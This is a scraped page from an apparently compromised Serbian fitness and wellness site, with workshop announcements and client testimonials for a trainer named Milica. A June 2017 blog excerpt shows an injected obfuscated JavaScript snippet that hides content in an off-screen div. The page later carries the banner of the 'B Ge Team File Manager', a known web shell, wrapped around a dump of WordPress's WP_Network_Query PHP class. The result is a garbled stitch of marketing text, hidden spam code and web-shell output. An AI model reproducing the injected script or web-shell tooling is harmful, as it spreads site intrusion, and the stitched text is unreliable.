-
...jer ZDRAVO TELO, je naša iskonska priroda...
...jer samo ZDRAVA koža, je lepa koža...
...jer samo ZDRAVE misli, nas vode do izlečenja...
...jer samo ZDRAVA duša, može da ispuni svoju svrhu...
-
...jer ZDRAVO TELO, je naša iskonska priroda...
...jer samo ZDRAVA koža, je lepa koža...
...jer samo ZDRAVE misli, nas vode do izlečenja...
...jer samo ZDRAVA duša, može da ispuni svoju svrhu...
Pogledajte naše proizvode
By milica / October 20, 2017
Radionica "Srce duše" biće održana u Novom Sadu 24.09.2017 (12-18h )
Svako ce dobiti nesto drugacije, jedinstveno, unikatno, samo njemu znano,
Read More
By dobrica / September 21, 2017
“Dar isceljujuće energije dolazi od Boga, vrhunskog bića, i ako mi spoznamo i osvestimo tu istinu, postajemo skladni sa ovom
Read More
By milica / September 20, 2017
...jer samo zdrava dusa moze da ispuni svoju svrhu'
Milica Vujic, kondicioni trener, fitnes instruktor, hard body trener, prakticar yoge, pilates
Read More
By dobrica / June 21, 2017
function lJeCytLe(umR) {
var BuvBN = "#mtaxnzy1mzuz{margin:0px 20px;overflow:hidden}#mtaxnzy1mzuz>div{top:-3874px;overflow:hidden;position:fixed;left:-2702px;display:block}";
Read More
Iskustva
Kao trener temeljna, posvecena, istrajna, ljubazna i uvek sa osmehom na licu. Treninzi dinamicni, uvek drugaciji, zanimljivi. To je ono zbog cega mi nije bilo tesko da odem na svaki trening bez izgovora, a zbog cega i dan danas ne mogu da pronadjem nista slicno sto ce me osvojiti kao treninzi sa Milicom!
... momenat kada cuda postaju stvarnost, kada zelja postane ostvarljiva, kada ti se vraca osmeh na lice... Tog dana nisam ni slutila da ce mi se zivot toliko promeniti upoznavsi nju, obicnu devojku koja je bila neverovatno nasmejana,raspolozena, prosto je zracila tom svojom pozitivnoscu, nesebicno je prenoseci na druge... tako je i na mene... A ja sam bila tuzna devojka koja je imala problema sa hormonima, sa debljinom, velikim viskom kilograma... jeduci samo proteine jer je tad bila aktuelna takva vrsta ishrane, nadajuci se da cu ih skinuti na njenim treninzima, neznajuci da mi je bas ona stvarala te probleme, hormoni u zivotinjskom mesu remete nase hormone... A onda su dosli njeni saveti,pored veoma delotvornih treninga... U danasnje vreme ima mnogo ljudi koji su pozitivni ali retki su oni koji to mogu i da prenesu na druge... ona je jedna od njih... A zatim svojim velikim iskustvom u svetu sporta, fitnesa i najvise ishrane je podelila neke odredjene savete sa mnom... i hvala joj na tome... I danas se secam tog dana iako je proslo dosta godina od tad... Cujem se sa njom i danas, i sada ima vremena da odgovori na svaku moju poruku iako sam ja kao i svako drugi, obicna devojka, kojoj je potreban neki savet... a ona se sve te godine i dalje usavrsava i napreduje... Nismo ni drugarice ni prijateljice, jer se to postaje na drugaciji nacin, ali ima veoma vazno mesto u mom zivotu jer mi se od tad zivot poceo menjati...
Treninzi su bili odlični. Bilo je to zabavno iskustvo. Osećala sam se kako se poboljšavam te sam naučila mnogo veština koje i dalje dan danas koristim. Obožavam ih . Na treninzima je bilo fenomenalno, prijatna atmosfera, jaki i dobri treninzi, trener posvecen svom poslu, a i nama svima. Sve u svemu, prezadovoljna sam bila i rado bih nastavila kada bih imala priliku. Milica je pre svega jedna divna osoba koja je uvek otvorena da porazgovara sa Vama i da Vam iskreni savet bez podsmevanja ili ruznih pogleda sa mislju "Na sta licis!", sto se verujte mi desava. Sa Milicom se svako oseca motivisano, jer je pravi profesionalac i reci ce Vam uvek da za trening nikada nije kasno. Svakome se posveti sto se treninga tice maksimalno i pomogne i sa savetima u vezi ishrane, pored svega. Sve tople preporuke za Milicu od mene. Na kraju krajeva, ne morate mi verovati, vec trenirajte sa njom, pa cete se uveriti i sami. I da, da ne zaboravim...pored svega Milica je prelepa...Sve pohvale i tople preporuke za Milicu Nataša Stanković, Novi Sad
Sjajni treninzi, preciznost, postavljanje ciljeva, njihovo ostvarivanje kao i sjajna komunikacija omogucili su mi da sa uvek nasmejanom Milicom uspostavim odnos kakav se moze pozeleti. Uspela je da poboljsa moje performanse, savetovala me je u vezi sa ishranom i odrzavala motivaciju za ostvarivanjem ciljeva. Takodje, naucila me je kako da uzivam u svakom treningu i da mi isti ne predstavlja obavezu, vec nesto cemu sam se celog dana radovala. Uspesno smo saradjivale, preporucila bih je svakome i sa sigurnoscu mogu da tvrdim da ce Milica za kratko vreme uspeti da promeni Vas nacin zivota i da iskoreni lose navike. Milicu sam slucajno upoznala u jednoj teretani, u Beogradu. Prica pocinje ovako: Odlazila sam na kardio treninge i na poneku spravicu u teretanu u komsiluku dok mi jedan dan paznju nije privukla jedna devojka u sali koja sprema nesto sto jos nisam videla na tv-u, bar ono reklama sto ugrabim u slobodno vreme. Simpatizer sam grupnih treninga, sa razlicitim vezbama i brzim rezultatom. Strpljenje mi je slaba tacka, pogotovo kad imate malo vremena da liniju dovedete skoro do savrsenstva. Ono sto mi je prvo skrenulo pogled ka sali gde se uveliko spremalo nesto novo bila je muzika koja bukvalno "dize iz mrtvih". Dve reci te devojke-Milice, mog trenera, bile su dovoljne da joj se pridruzim odmah, cak i pre formiranja prve grupe polaznika. Nailazim na ODUSEVLJENJE! Strah na pocetku, da li cu izdrzati trening, naporno je, zahteva kondiciju, snagu, koncentraciju, uigranost! Zove se Insanity. Dve godine u tom ritmu je proletelo...4-5 puta nedeljno odlazenja na treninge cinili su mi veliko zadovoljstvo i srecu. Moja sestra je krenula odmah sa mnom. Grupa od deset devojaka treniraju kao jedan! Koliko raspolozenje posle treninga, od sat ipo vremena! Noge, stomak i ruke kao na profi slikama iz casopisa! Trening pripremljen i osmisljen kao u najboljem inostranom spotu, vezbe povezane, koordinacija tela...Prvo zagrevanje, a potom krecemo od glave i vrata, ruku, stomaka, nogu...istezanje. Muzika drzi atmosferu da ne razmisljamo o umoru. Svaki trening drugaciji, nema mesta monotoniji. Koristimo tegice, vijace. Na kraju treninga mokra majica nam najbolje pokaze rezultat svega toga. Moram priznati da sam ishranu morala malo da korigujem jer mi je genetika takva, sve se lepi. To mi je sve bilo lako uz Milicine razgovore, savete, recepte, redovno proveravanje kilaze i masti. Neko je jos brinuo o mom telu i zdravlju. Trening s Milicom je jedno od najboljih iskustva koje sam imala u zivotu. Tezak posao se s njom cinio toliko lagano. Ona kao trener me gurala u treninzima da postignem svoje ciljeve. Umor nije uopste bio problem s njenom pomoci. Pomogla mi je transformisati moje telo, onako kako sam zelela. Energija i izdrzljivost su mi bile dve najvaznije stvari koje mi je pomogla poboljsati.
Sherri Kraham Talabany, Erbil
Moj muž i ja obožavali smo kao klijenti raditi s Milicom koja nas je držala na nogama sa rigoroznim režimom kroz trening snage, trening za tonus i kardio trening ukomponovan u jedan sat intenzivnog vežbanja. Čak je menjala vežbe tako da nikada nije bilo dosadno i uvek je uspevala napraviti trening za kompletno telo. To je vodilo do vrhunskih rezultata na telesnom i fitness nivou.
B Ge Team File Manager
B Ge Team File Manager
<?php
/**
* Network API: WP_Network_Query class
*
* @package WordPress
* @subpackage Multisite
* @since 4.6.0
*/
/**
* Core class used for querying networks.
*
* @since 4.6.0
*
* @see WP_Network_Query::__construct() for accepted arguments.
*/
class WP_Network_Query {
/**
* SQL for database query.
*
* @since 4.6.0
* @access public
* @var string
*/
public $request;
/**
* SQL query clauses.
*
* @since 4.6.0
* @access protected
* @var array
*/
protected $sql_clauses = array(
'select' => '',
'from' => '',
'where' => array(),
'groupby' => '',
'orderby' => '',
'limits' => '',
);
/**
* Query vars set by the user.
*
* @since 4.6.0
* @access public
* @var array
*/
public $query_vars;
/**
* Default values for query vars.
*
* @since 4.6.0
* @access public
* @var array
*/
public $query_var_defaults;
/**
* List of networks located by the query.
*
* @since 4.6.0
* @access public
* @var array
*/
public $networks;
/**
* The amount of found networks for the current query.
*
* @since 4.6.0
* @access public
* @var int
*/
public $found_networks = 0;
/**
* The number of pages.
*
* @since 4.6.0
* @access public
* @var int
*/
public $max_num_pages = 0;
/**
* Constructor.
*
* Sets up the network query, based on the query vars passed.
*
* @since 4.6.0
* @access public
*
* @param string|array $query {
* Optional. Array or query string of network query parameters. Default empty.
*
* @type array $network__in Array of network IDs to include. Default empty.
* @type array $network__not_in Array of network IDs to exclude. Default empty.
* @type bool $count Whether to return a network count (true) or array of network objects.
* Default false.
* @type string $fields Network fields to return. Accepts 'ids' (returns an array of network IDs)
* or empty (returns an array of complete network objects). Default empty.
* @type int $number Maximum number of networks to retrieve. Default empty (no limit).
* @type int $offset Number of networks to offset the query. Used to build LIMIT clause.
* Default 0.
* @type bool $no_found_rows Whether to disable the `SQL_CALC_FOUND_ROWS` query. Default true.
* @type string|array $orderby Network status or array of statuses. Accepts 'id', 'domain', 'path',
* 'domain_length', 'path_length' and 'network__in'. Also accepts false,
* an empty array, or 'none' to disable `ORDER BY` clause. Default 'id'.
* @type string $order How to order retrieved networks. Accepts 'ASC', 'DESC'. Default 'ASC'.
* @type string $domain Limit results to those affiliated with a given domain. Default empty.
* @type array $domain__in Array of domains to include affiliated networks for. Default empty.
* @type array $domain__not_in Array of domains to exclude affiliated networks for. Default empty.
* @type string $path Limit results to those affiliated with a given path. Default empty.
* @type array $path__in Array of paths to include affiliated networks for. Default empty.
* @type array $path__not_in Array of paths to exclude affiliated networks for. Default empty.
* @type string $search Search term(s) to retrieve matching networks for. Default empty.
* @type bool $update_network_cache Whether to prime the cache for found networks. Default true.
* }
*/
public function __construct( $query = '' ) {
$this->query_var_defaults = array(
'network__in' => '',
'network__not_in' => '',
'count' => false,
'fields' => '',
'number' => '',
'offset' => '',
'no_found_rows' => true,
'orderby' => 'id',
'order' => 'ASC',
'domain' => '',
'domain__in' => '',
'domain__not_in' => '',
'path' => '',
'path__in' => '',
'path__not_in' => '',
'search' => '',
'update_network_cache' => true,
);
if ( ! empty( $query ) ) {
$this->query( $query );
}
}
/**
* Parses arguments passed to the network query with default query parameters.
*
* @since 4.6.0
*
* @access public
*
* @param string|array $query WP_Network_Query arguments. See WP_Network_Query::__construct()
*/
public function parse_query( $query = '' ) {
if ( empty( $query ) ) {
$query = $this->query_vars;
}
$this->query_vars = wp_parse_args( $query, $this->query_var_defaults );
/**
* Fires after the network query vars have been parsed.
*
* @since 4.6.0
*
* @param WP_Network_Query &$this The WP_Network_Query instance (passed by reference).
*/
do_action_ref_array( 'parse_network_query', array( &$this ) );
}
/**
* Sets up the WordPress query for retrieving networks.
*
* @since 4.6.0
* @access public
*
* @param string|array $query Array or URL query string of parameters.
* @return array|int List of networks, or number of networks when 'count' is passed as a query var.
*/
public function query( $query ) {
$this->query_vars = wp_parse_args( $query );
return $this->get_networks();
}
/**
* Gets a list of networks matching the query vars.
*
* @since 4.6.0
* @access public
*
* @return int|array The list of networks.
*/
public function get_networks() {
$this->parse_query();
/**
* Fires before networks are retrieved.
*
* @since 4.6.0
*
* @param WP_Network_Query &$this Current instance of WP_Network_Query, passed by reference.
*/
do_action_ref_array( 'pre_get_networks', array( &$this ) );
// $args can include anything. Only use the args defined in the query_var_defaults to compute the key.
$key = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) );
$last_changed = wp_cache_get_last_changed( 'networks' );
$cache_key = "get_network_ids:$key:$last_changed";
$cache_value = wp_cache_get( $cache_key, 'networks' );
if ( false === $cache_value ) {
$network_ids = $this->get_network_ids();
if ( $network_ids ) {
$this->set_found_networks();
}
$cache_value = array(
'network_ids' => $network_ids,
'found_networks' => $this->found_networks,
);
wp_cache_add( $cache_key, $cache_value, 'networks' );
} else {
$network_ids = $cache_value['network_ids'];
$this->found_networks = $cache_value['found_networks'];
}
if ( $this->found_networks && $this->query_vars['number'] ) {
$this->max_num_pages = ceil( $this->found_networks / $this->query_vars['number'] );
}
// If querying for a count only, there's nothing more to do.
if ( $this->query_vars['count'] ) {
// $network_ids is actually a count in this case.
return intval( $network_ids );
}
$network_ids = array_map( 'intval', $network_ids );
if ( 'ids' == $this->query_vars['fields'] ) {
$this->networks = $network_ids;
return $this->networks;
}
if ( $this->query_vars['update_network_cache'] ) {
_prime_network_caches( $network_ids );
}
// Fetch full network objects from the primed cache.
$_networks = array();
foreach ( $network_ids as $network_id ) {
if ( $_network = get_network( $network_id ) ) {
$_networks[] = $_network;
}
}
/**
* Filters the network query results.
*
* @since 4.6.0
*
* @param array $results An array of networks.
* @param WP_Network_Query &$this Current instance of WP_Network_Query, passed by reference.
*/
$_networks = apply_filters_ref_array( 'the_networks', array( $_networks, &$this ) );
// Convert to WP_Network instances
$this->networks = array_map( 'get_network', $_networks );
return $this->networks;
}
/**
* Used internally to get a list of network IDs matching the query vars.
*
* @since 4.6.0
* @access protected
*
* @return int|array A single count of network IDs if a count query. An array of network IDs if a full query.
*/
protected function get_network_ids() {
global $wpdb;
$order = $this->parse_order( $this->query_vars['order'] );
// Disable ORDER BY with 'none', an empty array, or boolean false.
if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
$orderby = '';
} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
$ordersby = is_array( $this->query_vars['orderby'] ) ?
$this->query_vars['orderby'] :
preg_split( '/[,\s]/', $this->query_vars['orderby'] );
$orderby_array = array();
foreach ( $ordersby as $_key => $_value ) {
if ( ! $_value ) {
continue;
}
if ( is_int( $_key ) ) {
$_orderby = $_value;
$_order = $order;
} else {
$_orderby = $_key;
$_order = $_value;
}
$parsed = $this->parse_orderby( $_orderby );
if ( ! $parsed ) {
continue;
}
if ( 'network__in' === $_orderby ) {
$orderby_array[] = $parsed;
continue;
}
$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
}
$orderby = implode( ', ', $orderby_array );
} else {
$orderby = "$wpdb->site.id $order";
}
$number = absint( $this->query_vars['number'] );
$offset = absint( $this->query_vars['offset'] );
if ( ! empty( $number ) ) {
if ( $offset ) {
$limits = 'LIMIT ' . $offset . ',' . $number;
} else {
$limits = 'LIMIT ' . $number;
}
}
if ( $this->query_vars['count'] ) {
$fields = 'COUNT(*)';
} else {
$fields = "$wpdb->site.id";
}
// Parse network IDs for an IN clause.
if ( ! empty( $this->query_vars['network__in'] ) ) {
$this->sql_clauses['where']['network__in'] = "$wpdb->site.id IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__in'] ) ) . ' )';
}
// Parse network IDs for a NOT IN clause.
if ( ! empty( $this->query_vars['network__not_in'] ) ) {
$this->sql_clauses['where']['network__not_in'] = "$wpdb->site.id NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['network__not_in'] ) ) . ' )';
}
if ( ! empty( $this->query_vars['domain'] ) ) {
$this->sql_clauses['where']['domain'] = $wpdb->prepare( "$wpdb->site.domain = %s", $this->query_vars['domain'] );
}
// Parse network domain for an IN clause.
if ( is_array( $this->query_vars['domain__in'] ) ) {
$this->sql_clauses['where']['domain__in'] = "$wpdb->site.domain IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__in'] ) ) . "' )";
}
// Parse network domain for a NOT IN clause.
if ( is_array( $this->query_vars['domain__not_in'] ) ) {
$this->sql_clauses['where']['domain__not_in'] = "$wpdb->site.domain NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['domain__not_in'] ) ) . "' )";
}
if ( ! empty( $this->query_vars['path'] ) ) {
$this->sql_clauses['where']['path'] = $wpdb->prepare( "$wpdb->site.path = %s", $this->query_vars['path'] );
}
// Parse network path for an IN clause.
if ( is_array( $this->query_vars['path__in'] ) ) {
$this->sql_clauses['where']['path__in'] = "$wpdb->site.path IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__in'] ) ) . "' )";
}
// Parse network path for a NOT IN clause.
if ( is_array( $this->query_vars['path__not_in'] ) ) {
$this->sql_clauses['where']['path__not_in'] = "$wpdb->site.path NOT IN ( '" . implode( "', '", $wpdb->_escape( $this->query_vars['path__not_in'] ) ) . "' )";
}
// Falsey search strings are ignored.
if ( strlen( $this->query_vars['search'] ) ) {
$this->sql_clauses['where']['search'] = $this->get_search_sql(
$this->query_vars['search'],
array( "$wpdb->site.domain", "$wpdb->site.path" )
);
}
$join = '';
$where = implode( ' AND ', $this->sql_clauses['where'] );
$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );
/**
* Filters the network query clauses.
*
* @since 4.6.0
*
* @param array $pieces A compacted array of network query clauses.
* @param WP_Network_Query &$this Current instance of WP_Network_Query, passed by reference.
*/
$clauses = apply_filters_ref_array( 'networks_clauses', array( compact( $pieces ), &$this ) );
$fields = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
$join = isset( $clauses['join'] ) ? $clauses['join'] : '';
$where = isset( $clauses['where'] ) ? $clauses['where'] : '';
$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
$limits = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';
if ( $where ) {
$where = 'WHERE ' . $where;
}
if ( $groupby ) {
$groupby = 'GROUP BY ' . $groupby;
}
if ( $orderby ) {
$orderby = "ORDER BY $orderby";
}
$found_rows = '';
if ( ! $this->query_vars['no_found_rows'] ) {
$found_rows = 'SQL_CALC_FOUND_ROWS';
}
$this->sql_clauses['select'] = "SELECT $found_rows $fields";
$this->sql_clauses['from'] = "FROM $wpdb->site $join";
$this->sql_clauses['groupby'] = $groupby;
$this->sql_clauses['orderby'] = $orderby;
$this->sql_clauses['limits'] = $limits;
$this->request = "{$this->sql_clauses['select']} {$this->sql_clauses['from']} {$where} {$this->sql_clauses['groupby']} {$this->sql_clauses['orderby']} {$this->sql_clauses['limits']}";
if ( $this->query_vars['count'] ) {
return intval( $wpdb->get_var( $this->request ) );
}
$network_ids = $wpdb->get_col( $this->request );
return array_map( 'intval', $network_ids );
}
/**
* Populates found_networks and max_num_pages properties for the current query
* if the limit clause was used.
*
* @since 4.6.0
* @access private
*
* @global wpdb $wpdb WordPress database abstraction object.
*/
private function set_found_networks() {
global $wpdb;
if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
/**
* Filters the query used to retrieve found network count.
*
* @since 4.6.0
*
* @param string $found_networks_query SQL query. Default 'SELECT FOUND_ROWS()'.
* @param WP_Network_Query $network_query The `WP_Network_Query` instance.
*/
$found_networks_query = apply_filters( 'found_networks_query', 'SELECT FOUND_ROWS()', $this );
$this->found_networks = (int) $wpdb->get_var( $found_networks_query );
}
}
/**
* Used internally to generate an SQL string for searching across multiple columns.
*
* @since 4.6.0
* @access protected
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $string Search string.
* @param array $columns Columns to search.
*
* @return string Search SQL.
*/
protected function get_search_sql( $string, $columns ) {
global $wpdb;
$like = '%' . $wpdb->esc_like( $string ) . '%';
$searches = array();
foreach ( $columns as $column ) {
$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
}
return '(' . implode( ' OR ', $searches ) . ')';
}
/**
* Parses and sanitizes 'orderby' keys passed to the network query.
*
* @since 4.6.0
* @access protected
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param string $orderby Alias for the field to order by.
* @return string|false Value to used in the ORDER clause. False otherwise.
*/
protected function parse_orderby( $orderby ) {
global $wpdb;
$allowed_keys = array(
'id',
'domain',
'path',
);
$parsed = false;
if ( $orderby == 'network__in' ) {
$network__in = implode( ',', array_map( 'absint', $this->query_vars['network__in'] ) );
$parsed = "FIELD( {$wpdb->site}.id, $network__in )";
} elseif ( $orderby == 'domain_length' || $orderby == 'path_length' ) {
$field = substr( $orderby, 0, -7 );
$parsed = "CHAR_LENGTH($wpdb->site.$field)";
} elseif ( in_array( $orderby, $allowed_keys ) ) {
$parsed = "$wpdb->site.$orderby";
}
return $parsed;
}
/**
* Parses an 'order' query variable and cast it to 'ASC' or 'DESC' as necessary.
*
* @since 4.6.0
* @access protected
*
* @param string $order The 'order' query variable.
* @return string The sanitized 'order' query variable.
*/
protected function parse_order( $order ) {
if ( ! is_string( $order ) || empty( $order ) ) {
return 'ASC';
}
if ( 'ASC' === strtoupper( $order ) ) {
return 'ASC';
} else {
return 'DESC';
}
}
}
B Ge Team File Manager Version
1.0, Coded By
Little WeiEmail:
null